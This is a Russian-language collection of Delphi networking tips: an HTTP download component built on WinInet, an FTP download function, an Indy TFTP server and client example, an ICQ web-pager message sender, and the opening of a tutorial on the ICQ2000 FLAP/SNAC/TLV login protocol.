    dwIndex  := 0;
    dwBufLen := 1024;
    GetMem(Buf, dwBufLen);

    FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
                              Buf, dwBufLen, dwIndex);

    if Terminated then
     begin
      FreeMem(Buf);
      CloseHandles;
      FTResult := False;
      Exit;
     end;

    if FTResult or not FTBinaryData then
     begin
      if FTResult then
        FTFileSize := StrToInt(StrPas(Buf));

      BytesReaded := 0;

      if FTToFile then
       begin
        AssignFile(f, FTFileName);
        Rewrite(f, 1);
       end
      else FTStringResult := '';

      while True do
       begin
        if Terminated then
         begin
          if FTToFile then CloseFile(f);
          FreeMem(Buf);
          CloseHandles;

          FTResult := False;
          Exit;
         end;

        if not InternetReadFile(hRequest, @Data, SizeOf(Data), BytesToRead) then Break
        else
         if BytesToRead = 0 then Break
         else
          begin
           if FTToFile then
            BlockWrite(f, Data, BytesToRead)
           else
            begin
             TempStr := Data;
             SetLength(TempStr, BytesToRead);
             FTStringResult := FTStringResult + TempStr;
            end;

           inc(BytesReaded, BytesToRead);
           if Assigned(FTProgress) then
            Synchronize(UpdateProgress);
          end;
       end;

      if FTToFile then
        FTResult := FTFileSize = Integer(BytesReaded)
      else
       begin
        SetLength(FTStringResult, BytesReaded);
        FTResult := BytesReaded <> 0;
       end;

      if FTToFile then CloseFile(f);
     end;

    FreeMem(Buf);

    CloseHandles;
  except
  end;
end;

// HTTPGet

constructor THTTPGet.Create(aOwner: TComponent);
begin
  inherited Create(aOwner);
  FAcceptTypes := '*/*';
  FAgent := 'UtilMind HTTPGet';
end;

destructor THTTPGet.Destroy;
begin
  Abort;
  inherited Destroy;
end;

procedure THTTPGet.GetFile;
var
  Msg: TMsg;
begin
  if not Assigned(FThread) then
   begin
    FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName,
      FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, True);
    FThread.OnTerminate := ThreadDone;
    if FWaitThread then
    while Assigned(FThread) do
     while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
   end
end;

procedure THTTPGet.GetString;
var
  Msg: TMsg;
begin
  if not Assigned(FThread) then
   begin
    FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName,
      FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, False);
    FThread.OnTerminate := ThreadDone;
    if FWaitThread then
     while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
   end
end;

procedure THTTPGet.Abort;
begin
  if Assigned(FThread) then
   begin
    FThread.Terminate;
    FThread.FTResult := False;
   end;
end;

procedure THTTPGet.ThreadDone(Sender: TObject);
begin
  FResult := FThread.FTResult;
  if FResult then
   if FThread.FTToFile then
    if Assigned(FDoneFile) then FDoneFile(Self, FThread.FTFileName, FThread.FTFileSize) else
   else
    if Assigned(FDoneString) then FDoneString(Self, FThread.FTStringResult) else
  else
   if Assigned(FError) then FError(Self);
  FThread := nil;
end;

procedure Register;
begin
  RegisterComponents('UtilMind', [THTTPGet]);
end;

end.

Взято с http://delphiworld.narod.ru


Работа с FTP

Cодержание раздела:

Как загрузить файл?
Пример FTP сервера


Как загрузить файл?

{
  The following function shows how to connect to a ftp server
  and download a file.
  It uses the functions from wininet.dll.

  You need a ProgressBar to show the progress and a Label to show progress informations.
}

uses
  WinInet, ComCtrls;

function FtpDownloadFile(strHost, strUser, strPwd: string;
  Port: Integer; ftpDir, ftpFile, TargetFile: string; ProgressBar: TProgressBar): Boolean;

  function FmtFileSize(Size: Integer): string;
  begin
    if Size >= $F4240 then
      Result := Format('%.2f', [Size / $F4240]) + ' Mb'
    else
    if Size < 1000 then
      Result := IntToStr(Size) + ' bytes'
    else
      Result := Format('%.2f', [Size / 1000]) + ' Kb';
  end;

const
  READ_BUFFERSIZE = 4096;  // or 256, 512, ...
var
  hNet, hFTP, hFile: HINTERNET;
  buffer: array[0..READ_BUFFERSIZE - 1] of Char;
  bufsize, dwBytesRead, fileSize: DWORD;
  sRec: TWin32FindData;
  strStatus: string;
  LocalFile: file;
  bSuccess: Boolean;
begin
  Result := False;

  { Open an internet session }
  hNet := InternetOpen('Program_Name', // Agent
                        INTERNET_OPEN_TYPE_PRECONFIG, // AccessType
                        nil,  // ProxyName
                        nil, // ProxyBypass
                        0); // or INTERNET_FLAG_ASYNC / INTERNET_FLAG_OFFLINE

  {
    Agent contains the name of the application or
    entity calling the Internet functions
  }

  { See if connection handle is valid }
  if hNet = nil then
  begin
    ShowMessage('Unable to get access to WinInet.Dll');
    Exit;
  end;

  { Connect to the FTP Server }
  hFTP := InternetConnect(hNet, // Handle from InternetOpen
                          PChar(strHost), // FTP server
                          port, // (INTERNET_DEFAULT_FTP_PORT),
                          PChar(StrUser), // username
                          PChar(strPwd),  // password
                          INTERNET_SERVICE_FTP, // FTP, HTTP, or Gopher?
                          0, // flag: 0 or INTERNET_FLAG_PASSIVE
                          0);// User defined number for callback

  if hFTP = nil then
  begin
    InternetCloseHandle(hNet);
    ShowMessage(Format('Host "%s" is not available',[strHost]));
    Exit;
  end;

  { Change directory }
  bSuccess := FtpSetCurrentDirectory(hFTP, PChar(ftpDir));

  if not bSuccess then
  begin
    InternetCloseHandle(hFTP);
    InternetCloseHandle(hNet);
    ShowMessage(Format('Cannot set directory to %s.',[ftpDir]));
    Exit;
  end;

  { Read size of file }
  if FtpFindFirstFile(hFTP, PChar(ftpFile), sRec, 0, 0) <> nil then
  begin
    fileSize := sRec.nFileSizeLow;
    // fileLastWritetime := sRec.lastWriteTime
  end else
  begin
    InternetCloseHandle(hFTP);
    InternetCloseHandle(hNet);
    ShowMessage(Format('Cannot find file ',[ftpFile]));
    Exit;
  end;

  { Open the file }
  hFile := FtpOpenFile(hFTP, // Handle to the ftp session
                       PChar(ftpFile), // filename
                       GENERIC_READ, // dwAccess
                       FTP_TRANSFER_TYPE_BINARY, // dwFlags
                       0); // This is the context used for callbacks.

  if hFile = nil then
  begin
    InternetCloseHandle(hFTP);
    InternetCloseHandle(hNet);
    Exit;
  end;

  { Create a new local file }
  AssignFile(LocalFile, TargetFile);
  {$i-}
  Rewrite(LocalFile, 1);
  {$i+}

  if IOResult <> 0 then
  begin
    InternetCloseHandle(hFile);
    InternetCloseHandle(hFTP);
    InternetCloseHandle(hNet);
    Exit;
  end;

  dwBytesRead := 0;
  bufsize := READ_BUFFERSIZE;

  while (bufsize > 0) do
  begin
    Application.ProcessMessages;

    if not InternetReadFile(hFile,
                            @buffer, // address of a buffer that receives the data
                            READ_BUFFERSIZE, // number of bytes to read from the file
                            bufsize) then Break; // receives the actual number of bytes read

    if (bufsize > 0) and (bufsize <= READ_BUFFERSIZE) then
      BlockWrite(LocalFile, buffer, bufsize);
    dwBytesRead := dwBytesRead + bufsize;

    { Show Progress }
    ProgressBar.Position := Round(dwBytesRead * 100 / fileSize);
    Form1.Label1.Caption := Format('%s of %s / %d %%',[FmtFileSize(dwBytesRead),FmtFileSize(fileSize) ,ProgressBar.Position]);
  end;

  CloseFile(LocalFile);

  InternetCloseHandle(hFile);
  InternetCloseHandle(hFTP);
  InternetCloseHandle(hNet);
  Result := True;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Пример FTP сервера

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer,
  IdTrivialFTPServer, StdCtrls, IdUDPClient, IdTrivialFTP;

type
  TForm1 = class(TForm)
    IdTrivialFTPServer1: TIdTrivialFTPServer;
    IdTrivialFTP1: TIdTrivialFTP;
    Button1: TButton;
    Button2: TButton;
    procedure FormCreate(Sender: TObject);
    procedure IdTrivialFTPServer1ReadFile(Sender: TObject;
      var FileName: string; const PeerInfo: TPeerInfo;
      var GrantAccess: Boolean; var AStream: TStream;
      var FreeStreamOnComplete: Boolean);
    procedure IdTrivialFTPServer1TransferComplete(Sender: TObject;
      const Success: Boolean; const PeerInfo: TPeerInfo; AStream: TStream;
      const WriteOperation: Boolean);
    procedure IdTrivialFTPServer1WriteFile(Sender: TObject;
      var FileName: string; const PeerInfo: TPeerInfo;
      var GrantAccess: Boolean; var AStream: TStream;
      var FreeStreamOnComplete: Boolean);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    TFTPPath: string;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTrivialFTPServer1.ThreadedEvent := True;
  IdTrivialFTPServer1.Active := True;
  { Set the path to where the files will be stored/retreived }
  TFTPPath := IncludeTrailingPathDelimiter('C:\Temp');
end;

procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;
  var FileName: string; const PeerInfo: TPeerInfo;
  var GrantAccess: Boolean; var AStream: TStream;
  var FreeStreamOnComplete: Boolean);
var
  FS: TFileStream;
begin
  FreeStreamOnComplete := True;
  try
    { Convert UNIX style filenames to WINDOWS style }
    while Pos('/', Filename) <> 0 do
      Filename[Pos('/', Filename)] := '\';
    { Assure that the filename DOES NOT CONTAIN any path information }
    Filename := ExtractFileName(Filename);
    { Check if file exists }
    if FileExists(TFTPPath + Filename) then
    begin
      { Open file in READ ONLY mode }
      FS := TFileStream.Create(TFTPPath + Filename,
        fmOpenRead or fmShareDenyWrite);
      { Assign stream to variable }
      AStream := FS;
      { Set parameters }
      GrantAccess := True;
    end
    else
    begin
      GrantAccess := False;
    end;
  except
    { On errors, deny access }
    GrantAccess := False;
    if Assigned(FS) then
      FreeAndNil(FS);
  end;
end;

procedure TForm1.IdTrivialFTPServer1WriteFile(Sender: TObject;
  var FileName: string; const PeerInfo: TPeerInfo;
  var GrantAccess: Boolean; var AStream: TStream;
  var FreeStreamOnComplete: Boolean);
var
  FS: TFileStream;
begin
  try
    { Convert UNIX style filenames to WINDOWS style }
    while Pos('/', Filename) <> 0 do
      Filename[Pos('/', Filename)] := '\';
    { Assure that the filename DOES NOT CONTAIN any path information }
    Filename := ExtractFileName(Filename);
    { Open file in WRITE ONLY mode }
    FS := TFileStream.Create(TFTPPath + Filename,
      fmCreate or fmShareExclusive);
    { Copy all the data }
    AStream := FS;
    { Set parameters }
    FreeStreamOnComplete := True;
    GrantAccess := True;
  except
    { On errors, deny access }
    GrantAccess := False;
    if Assigned(FS) then
      FreeAndNil(FS);
  end;
end;

procedure TForm1.IdTrivialFTPServer1TransferComplete(Sender: TObject;
  const Success: Boolean; const PeerInfo: TPeerInfo; AStream: TStream;
  const WriteOperation: Boolean);
begin
  // Success = TRUE if the read/write operation was successfull
  // WriteOperation = TRUE if the client SENT a file to the server
  try
    { Close the FileStream }
    if Assigned(AStream) then
      FreeAndNil(AStream);
  except
  end;
end;

// Example of how to DOWNLOAD a file from the server

procedure TForm1.Button1Click(Sender: TObject);
var
  ST: TMemoryStream;
begin
  ST := TMemoryStream.Create;
  IdTrivialFTP1.Get('testfile.dat', ST);
  if Assigned(ST) then
  begin
    ShowMessage('Filesize=' + IntToStr(ST.Size));
    FreeAndNil(ST);
  end;
end;

// Example of how to UPLOAD a file to the server

procedure TForm1.Button2Click(Sender: TObject);
var
  ST: TMemoryStream;
  I: Integer;
  S: string;
begin
  { Create stream }
  ST := TMemoryStream.Create;
  { Initialize data }
  S := 'This is a test file. It whould appear in the ' +
    'TFTP Server upload directory.' + #13#10;
  { Store in stream }
  ST.Write(S[1], Length(S));
  ST.Position := 0;
  { Send Stream to TFTP Server }
  IdTrivialFTP1.Put(ST, 'textfile.txt');
  { Free Stream }
  if Assigned(ST) then
    FreeAndNil(ST);
  { Show a dialog }
  ShowMessage('Done!');
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с ICQ

Cодержание раздела:

Как послать сообщение?
ICQ2000 - сделай сам (статья) New!


Как послать сообщение?

{
  You need 3 TEdits, 1 TMemo and 1 TClientSocket.
  Set the  TClientsocket's Port to 80 and the Host to wwp.mirabilis.com.
}

var
  Form1: TForm1;
  csend: string;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  cSend := 'POST http://wwp.icq.com/scripts/WWPMsg.dll HTTP/2.0' + chr(13) + chr(10);
  cSend := cSend + 'Referer: http://wwp.mirabilis.com' + chr(13) + chr(10);
  cSend := cSend + 'User-Agent: Mozilla/4.06 (Win95; I)' + chr(13) + chr(10);
  cSend := cSend + 'Connection: Keep-Alive' + chr(13) + chr(10);
  cSend := cSend + 'Host: wwp.mirabilis.com:80' + chr(13) + chr(10);
  cSend := cSend + 'Content-type: application/x-www-form-urlencoded' + chr(13) + chr(10);
  cSend := cSend + 'Content-length:8000' + chr(13) + chr(10);
  cSend := cSend + 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*' +
    chr(13) + chr(10) + chr(13) + chr(10);
  cSend := cSend + 'from=' + edit1.Text + ' &fromemail=' + edit2.Text +
    ' &fromicq:110206786' + ' &body=' + memo1.Text + ' &to=' + edit3.Text + '&Send=';
  clientsocket1.Active := True;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  clientsocket1.Socket.SendText(csend);
  clientsocket1.Active := False;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


ICQ2000 - сделай сам (статья)

Автор: Alexander Vaga
WEB-сайт: http://icq2000cc.hobi.ru

Урок №1

Прежде чем приступить к изложению своего небольшого проектика ... скажу сразу…. написан он на Делфи. Кто огорчится , кто обрадуется. Для кого языковой барьер не помеха, а для кого непреодолимое препятствие. Лично я постигал все перелести протоколов ICQ на кодах написанных на С++. Главное - видеть "главное". А мне нравится Делфи. На нем отправить пакет данных в интернет наверное проще, чем записать его в обычный файл.

Самые общие сведения о протоколахм ICQ

Существует около десятка версий ICQ-клиентов. И у каждого - своя версия протокола. Но не смотря на это, их всего два. Есть ICQ, работа, которых с сервером основана на протоколе UDP, и есть ICQ общающиеся с сервером по протоколу TCP. Немного подробнее:

ICQ на протоколе UDP

С нее, собственно, и начиналась история ICQ.

Это были версии протоколов 1,2,3,4 и 5. Это были аськи ICQ97, ICQ98, ICQ99. Т.к. использован протокол UDP, то постоянного соединения клиент-сервер не существует. Пакет передал. Получил подтверждение, и баста. Не получил подтверждение - передай повторно.

Но об этих протоколах уже можно (и нужно) забыть. Они поддерживаются сервером весьма неохотно, потому, что в какой-то момент компания Mirabilis растворилась в компании America OnLine (AOL). После этого ICQ начала работать на протоколе AOL Instant Messenger (AIM). Это и есть вторая группа протоколов ICQ.

ICQ на протоколе TCP

Это версии протоколов 7,8. А может уже и 9,10,11 и т.д.

По сути дела в ICQ20xx используется протокол от AOL Inastant Messenger. И по этому признаку эти два продукта - родные братья. Хоть я и спользовал информацию по прортоколу v8 (ICQ2000b) но рассматривать буду протокол v7 (ICQ2000a). Потому, что эта версия у меня была установлена и именно ее пакеты я использовал для анализа и отладки своего детища. Это различие не имело ровным счетом никакого значения.
Но, как говорится: "ближе к телу".
Вы вправе задать вопрос: "Как же это все будет выглядеть?"
Это выглядит примерно так.

Сами понимаете, что номера ICQ и имена клиентов - полностью вымышленные. Любые совпадения с реальными людьми - чистая случайность. Конечно же, изображения принадлежат своим уважаемым владельцам, поэтому дальше их и не будет.

Как видно на скриншоте, это не просто аська, а - мультиаська! Т.е. можно находиться в онлайне сразу под несколькими UIN-ами одновременно. Иногда это бывает полезно и даже необходимо. В интернете есть конечно примочки для одновременного запуска нескольких копий ICQ, но ничто так не умиляет, как сделанное своими руками. И все же для понимания работы протокола - это излишество, поэтому я оставил только самое необходимое.

Думаю, что не стоит в самом начале нагружать разными сводными таблицами с описанием пакетов протокола. Я буду делать это по мере необходимости. Тем более, что из всего их множества, поначалу не все они будут и нужны.

Для работы вам потребуются только стандартные компоненты Делфи-5. Нет нужды устанавливать какие-то вспомогательные библиотеки или пакеты.

С помощью моего ICQ-клиента можно:

логиниться к серверу;
отображать состояние клиентов;
передавать и принимать сообщения;
регистрировать (register) новый UIN на сервере;
удалять (unregister) UIN с сервера;
просматривать и обновлять информацию о клиентах из контактного списка;
производить поиск клиентов по имени, по e-mail, по UIN-у;
включать найденных клиентов в контактный список;
вести журнал сообщений и пакетов.
Но изначально приложение будет иметь самую минимальную функциональность. UIN и пароль у вас уже должны быть. Будем логиниться на сервере, менять свой статус, принимать сообщения. Весь TCP-трафик идет только через сервер. Так проще и этот способ в комбинации с некоторыми другими параметрами позволит скрыть ваш IP-адрес от любопытных глаз. Наверное, поэтому я не рассматриваю прямые соединения между клиентами. Разумеется, что будем рассматривать протокол v7. На нем работает ICQ2000a.

Итак, приступим...

Все пакеты данных (и от клиента к серверу, и от сервера к клиенту) упаковываются в т.н. FLAP-протокол. Он находится в самом низу иерархии. Ниже показана структура FLAP-пакета:

FLAP
Command Start byte: $2A
Channel ID byte
Sequence Number word
Data Field Length word
Data variable

Каждый FLAP-пакет имеет заголовок c фиксированной длиной и, следующий за ним блок данных (переменной длины). Длина заголовка равна 6-и байтам.

FLAP-заголовок содержит такие поля:

Однобайтовый идентификатор начала пакета (Command Start). Его значение всегда равно $2A. С ним можно сверяться при приеме пакетов.
Идентификатор канала (Channel ID). Он может принимать четыре значения:
1 - канал установления соединения;
2 - канал обмена данными (основная фаза работы: какие-либо полезные данные передаются только в этой фазе);
3 - канал ошибок. (на практике мне не попадался :);
4 - канал разъединения. (это проще, чем написано).
На 99.9% времени протокол работает в канале 2.
Последовательный номер пакета (Sequence Number). В начале обмена данными это поле устанавливается случайным образом, а затем увеличивается на единицу при передаче каждого последующего пакета. Обычно такие поля используются для обеспечения целостности данных (например, когда используется UDP-протокол). Но в нашем случае используется TCP-соединение и этого вполне достаточно для обеспечения целостности передаваемых пакетов. Просто нужно следовать правилу формирования этого поля при передаче пакетов и можно забыть о нем. (На приеме я его никак не контролировал).
Длина блока данных (Data Field Length). Указывает на длину блока данных, который следует сразу же за заголовком. Это очень важное поле. Зная его, мы знаем сколько данных нужно прочитать из входного потока. Ошибись мы хоть на один байт и синхронизация потока будет нарушена.
Блок данных FLAP-пакета. Его длина указана в FLAP-заголовке. В нем находится вся полезная информация для обмена ICQ-клиента и сервера.

При приеме (обработке) FLAP-пакетов очень важно не потерять синхронизацию пакетов ( что просто недопустимо ). Нужно всегда читать 6-и байтовый залоговок, а далее считывать только, то количество данных, которое указано в заголовке. При соблюдении этого правила можно быть уверенным, что прочитанный блок данных будет содержать достоверную информацию. Потеря данных неприемлема в AIM стандарте. Все это на самом деле не трудно обеспечить.

Труднее разобраться в структуре самого блока данных. А напичкан он весьма разнообразными структурными единицами. Видать оччень много народу постаралось для этого. Впечатление такое, что взяли и скрестили старые версии v2 - v5 ICQ-протокола с самим AIM-протоколом. Это вам еще предстоит увидеть. Вот например, для представления обычных текстовых строк , использовано 3 или 4 различных варианта. Представляете себе строку в формате C++ или в формате Pascal, с нулем в конце или без него, с однобайтовой длиной или двубайтовой, а порядок следования байтов в слове? Черт ногу сломает. А может это специально сделано? Мне кажется, что впопыхах!!!

Попробуем разобраться.

Делфи-проект nICQ в начале будет состоять из 3-х модулей: Types, Packet, Main.

В модуле Types находятся константы и объявлены некоторые записи.
В модуле Packet - процедуры и функции для записи/чтения FLAP-пакетов.(Большинство процедур из этого модуля просто адаптированы из других проектов ICQ).
Название модуля Main говорит само за себя.

До того, как начать тестирование, вам следует ввести свой UIN, password, NickName. Внесите эти данные в файл nICQ.ini:

[User]
Uin=199222333
Nick=My Nick
Password=mypass

... и можно запускать. Список контактов нам пока не нужен. Он появится позже. А сейчас будет вполне достаточно, если список контактов будет состоять только из вашего собственного UINа. Жмем на единственную кнопку, а в отладочном окне будет отображаться протокол работы. При выборе одного из пунктов Popup-меню, вызывается процедура icq_Login. Что в ней? Смотрим:

procedure TForm1.icq_Login(Status : longint);
begin
  // определяем свой IP-адрес
  Local_IP := Get_my_IP;
  // преобразуем его в DIM_IP
  StrToIP(Local_IP,DIM_IP);
  // Запоминаем, какой будет наш статус
  ICQStatus := Status;
  // если ClientSocket открыт, то закроем его
  if CLI.Active then
    CLI.Close;
  // установим флажок isAuth,
  // это значит, что сначала мы коннектимся к серверу
  // авторизации. UIN и пароль передаются именно ему.
  isAuth := true;
  // устанавливаем флажок isHDR,
  // он говорит нам о том, что, самые первые данные ,
  // из ClientSocket следует интерпретировать как
  // FLAP-заголовок
  isHDR := true;
  // заполняем поля Host и Port в ClintSocket,
  // адрес сервера авторизации: 'login.icq.com'
  // и его порт: 5190
  CLI.Address :='';
  CLI.Host := 'login.icq.com';
  CLI.Port := 5190;
  // не забываем и про TMemo
  M(Memo,'>>>>>>>>>>  login.icq.com:5190 <<<<<<<<<<<');
  // ... и собственно CONNECT
  CLI.Open;
end;

(А вот и подходящий момент, чтобы вспомнить о вашем подключении к интернету. Проблемы с получением CONNECTa могут возникнуть, если вы выходите в интернет из LAN через PROXY-сервер. Все зависит от того, как он настроен. Если он предоставляет выход в интернет только для основных сервисов (http,ftp,smtp,pop), то тут уж извините. А если на нем присутствует нормальный маскарадинг, то все будет OK).

Итак, что же дальше..? Желанный CONNECT должен наступить немного раньше конца света :) Мы подсоединились к серверу авторизации и он первым выдаст нам пакет данных. Что делать? Как принять? Куда его засунуть? Об этом мой расказ на следующей странице.

Итак, рассмотрим механизм приема FLAP-пакетов. Прием пакетов - это обработчик события onReadData нашего ClientSocket. Задача этого обработчика сводится только к приему FLAP-пакетов и формировании из них связного списка типа FIFO (первым пришел, первым и ушел). Главное корректно отработать границы пакетов.

Каждый пакет принимается в два захода:

сначала принимаем только заголовок FLAP-пакета (всего 6 байт);
затем, узнав из заголовка длину блока данных, принимаем последний (ни байтом больше, ни байтом меньше).
Приняв полный пакет, формируем из него элемент списка FIFO и присоединяем его к списку. Смотрим, как это сделано у меня. Для прима заголовка и блока данных FLAP-пакета объявлены два массива: FLAP и FLAP_DATA соответственно.

procedure TForm1.CLI_ReadData(Sender:TObject; Socket:TCustomWinSocket);
var num,Bytes,fact : integer;
    pFIFO,CurrFIFO : PFLAP_Item;
    buf : array[0..100] of byte;
begin
// узнаем, сколько всего данных уже есть в буфере ClientSocketa
     num := Socket.ReceiveLength;
// в icq_Login мы установили isHdr, т.к. сначала ожидаем заголовок
     if isHDR then begin
// если есть как минимум 6 байт, то читаем 6 байт заголовка в FLAP
       if num>=6 then begin
         Socket.ReceiveBuf(FLAP,6);
// из заголовка узнаем длину блока данных FLAP-пакета
         NeedBytes := swap(FLAP.Len);
// сбрасываем в начало индекс массива FLAP_DATA
         index := 0;
// сбпасываем, чтобы следующее чтение было в FLAP_DATA
// и выходим из обработчика
       isHDR := false;
       end else begin
             // вообще-то ситуация, когда в Sockete меньше 6-и байт
             // пока никак не контролируется (возникает очень редко :)
             // отмечаю этот факт только в окне отладки
             M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
             Socket.ReceiveBuf(buf,num);
             M(Memo,Dim2Hex(@(buf),num));
             M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
           end;

// if not isHDR then чтение в FLAP_DATA
end else begin
// сколько байт читать уже известно: NeedBytes
         Bytes := NeedBytes;
// читаем их в FLAP_DATA[Index]
         fact := Socket.ReceiveBuf(FLAP_DATA[index],Bytes);
// если в Sockete было данных меньше чем нужно,
// педвинем Index и NeedBytes для следующего входа в обработчик
         inc(index,fact);
         dec(NeedBytes,fact);
         if NeedBytes = 0 then begin
// если весь блок данных FLAP-пакета уже в FLAP_DATA,
// тогда выделаем память для элемента списка FIFO (PFLAP_Item)
           New(pFIFO);
// копируем заголовок
           pFIFO^.FLAP := FLAP;
           pFIFO^.Next := nil;
// выделяем память для блока данных и копируем его
           GetMem(pFIFO^.DATA,index);
           move(FLAP_DATA,PFIFO^.Data^,swap(FLAP.Len));

// добавляем указатель на PFLAP_Item в список
           CurrFIFO:=HeadFIFO;
           if HeadFIFO<>nil then begin
             while CurrFIFO<>nil do
               if CurrFIFO^.Next=nil then begin
                 CurrFIFO^.Next:=pFIFO;
                 break;
               end else CurrFIFO:=CurrFIFO^.Next;
           end else HeadFIFO:=pFIFO;
// устанавливаем isHDR (в true) уже для прима заголовка
// последующих FLAP-пакетов
           isHDR := true;
         end;
     end;
end;

Дальнейшая обработка списка FIFO - это задача уже другой процедуры.

Итак, в обработчике события ClientSocket.onRead_Data из FLAP-пакетов формируется список FIFO. Обработку этого списка производит таймерная процедура MainT. Ее задача заключается в следующем:

взять из очереди FLAP-пакет (если очередь не пуста);
сформировать из него временный объект (запись) типа PPack. (Для его обработки в модуле Packet находятся соответствующие функции и процедуры);
направить его на вход одного из двух обработчиков;
после обработки удалить временный объект.

procedure TForm1.MainTTimer(Sender: TObject);
var FindFIFO : PFLAP_Item;
    tmp : PPack;
begin
// закроем вход в таймер (реентерабельность нам не нужна)
     MainT.Enabled := false;
// проверим не пуста ли очередь
     while HeadFIFO<>nil do begin
// если есть ожидающие пакеты, то берем первый из них
       FindFIFO := HeadFIFO;
// и корректируем очередь
       if HeadFIFO^.Next=nil then HeadFIFO := nil
       else HeadFIFO := HeadFIFO^.Next;
// создаем временный Pak
       tmp := PacketNew;
// переносим в него данные из пакета очереди
// сначала FLAP-заголовок
       PacketAppend(tmp,@FindFIFO^.FLAP,sizeof(FLAP_HDR));
// затем блок данных
       PacketAppend(tmp,FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len));
// освобождаем пакет, который из очереди
       FreeMem(FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len));
       Dispose(FindFIFO);
// пропишем его дамп в файл "<твой UIN>.log"
       debugFILE(tmp,'< ');
// если в данный момент мы соединены с сервером авторизации
       if isAuth then
// то напавим пакет в обработчик AuthorizePart
          AuthorizePart(tmp)
       else
// либо в основной обработчик
          WorkPart(tmp);
// удалим временный Pak
       PacketDelete(tmp);
     end;
// откроем вход в таймер
     MainT.Enabled := true;
end;

Вполне логично, что дальше надо рассмотреть работу процедуры AuthorizePart, т.к. самый первый FLAP-пакет попадет именно в нее.

Перед рассмотрением работы обработчика AuthorizePart надо немного поговорить и о протоколе.

Перед тем, как подключиться к ICQ-серверу и начать работать мы должны пройти авторизацию на Authorization Server. Его адрес - login.icq.com:5190.

Необходимо:

соединиться с Authorization Server;
передать ему пакет с UINом и паролем;
получить от него IP-адрес и порт основного сервера и Cookie (256 байт случайных данных). Cookie - это будет наш пропуск при последующем (после авторизации) коннекте к основному рабочему серверу;
разьединиться с Authorization Server.
Именно к Authorization Server инициируется соединение в процедуре icq_Login.

Сервер отвечает нам маленьким пакетом:

FLAP
Command Start 2A
Channel ID 01
Sequence Number XX XX
Data Field Length 00 04
Data 00 00 00 01

В нем только лишь 00 00 00 01. Для нас - это сигнал начать передачу пакета с авторизационными данными (с UINом и паролем).

Сейчас уже пора разобраться и с форматом блока данных FLAP-пакета.

Можно сказать, что показанный выше пакет совсем не имеет никакой структуры: просто DWORD и все. В большинстве случаев в FLAP-пакете размещены данные, которые упакованы еще в один протокол: т.н. SNAC. В этом случае пакет данных выглядит так:

FLAP
Command Start 2A
Channel ID 02
Sequence Number word
Data Field Length word

SNAC
Family ID word
SubType ID word
Flags[0] byte
Flags[1] byte
Request ID dword
SNAC Data variable

SNAC
SNAC - это обычное содержимое блока данных FLAP-пакета в основной рабочей фазе соединения. Т.е. SNACи посылаются только через Сhannel ID = 2.
В любом FLAP-пакете может находиться только один пакет SNAC.

Прием (анализ) и передача SCACов - это то основное, что предстоит делать, чтобы реализовать все функции ICQ-клиента. Будь то передача списка контактов, или изменение нашего статуса, или получение и передача сообщений, или запрос информации о любом клиенте, для любого запроса и ответа на него есть свой SNAC (FamilyID, SubTypeID). Из сказанного видно, что вся смысловая информация помещена в SNACи. И UINы, и никнэймы, и и-мэйлы с хоумпэйджами. Конечно же они не просто так накиданы в SNACи. Они там размещены в юнитах, которые называются TLV.

TLV
TLV дословно означает - "Type, Length, Value" ("Тип, Длина, Значение"). Его структура такая:
TLV
(T)ype code word
(L)ength code word
(V)alue field variable length

В TLV упаковывается все, что используется в ICQ-протоколе: текстовые строки, байты, слова, двойные слова, другие массивы и т.д. и т.п.. На тип содеожимого TLV указывает Type code. Чаще всего TLV располагаются внутри SNACов, но это не является обязательным условием. Они могут также напрямую использоваться в блоке данных FLAP-пакета. Именно напрямую (т.е. без использования SNACов) TLV задействованы на этапе авторизации.

Этот механизм мы и рассмотрим именно сейчас, т.к. мы соединены уже с Authorization Server и получили от него добро в виде DWORD=00000001 на передачу нашего UINа и пароля.

procedure TForm1.AuthorizePart(p:PPack);
var ss : string;
    T : integer;
    tmp : PPack;
begin
     // позиционируемся на начало блока данных, пропустив заголовок
     PacketGoto(p,sizeof(FLAP_HDR));
     // если FLAP-данные содержат лишь 00000001,
     // то это самое начало сессии
     if (swap(p^.Len)=4)and
        (swap(p^.SNAC.FamilyID)=0)and
        (swap(p^.SNAC.SubTypeID)=1) then begin
       M(Memo,'< Authorize Server CONNECT');
              // каждый раз, когда начинается новая TCP-сессия,
              // присваиваем SEQ случайное начальное значение
       SEQ := random($7FFF);       // в ответ надо передать пакет с UINом и паролем
       // создаем объект-пакет типа PPack: в нем формируется
       // FLAP-заголовок с Chanel_ID=1
       tmp := CreatePacket(1,SEQ);
       // сначала надо вставить такой же DWORD=00000001
       // (еще надо помнить о порядке следования байтов в DWORD !!!)
       PacketAppend32(tmp,DSwap(1));
       // далее в поле данных добавляются несколько TLV
       // это наш UIN -  TLV(1)
       TLVAppendStr(tmp,$1,s(UIN));
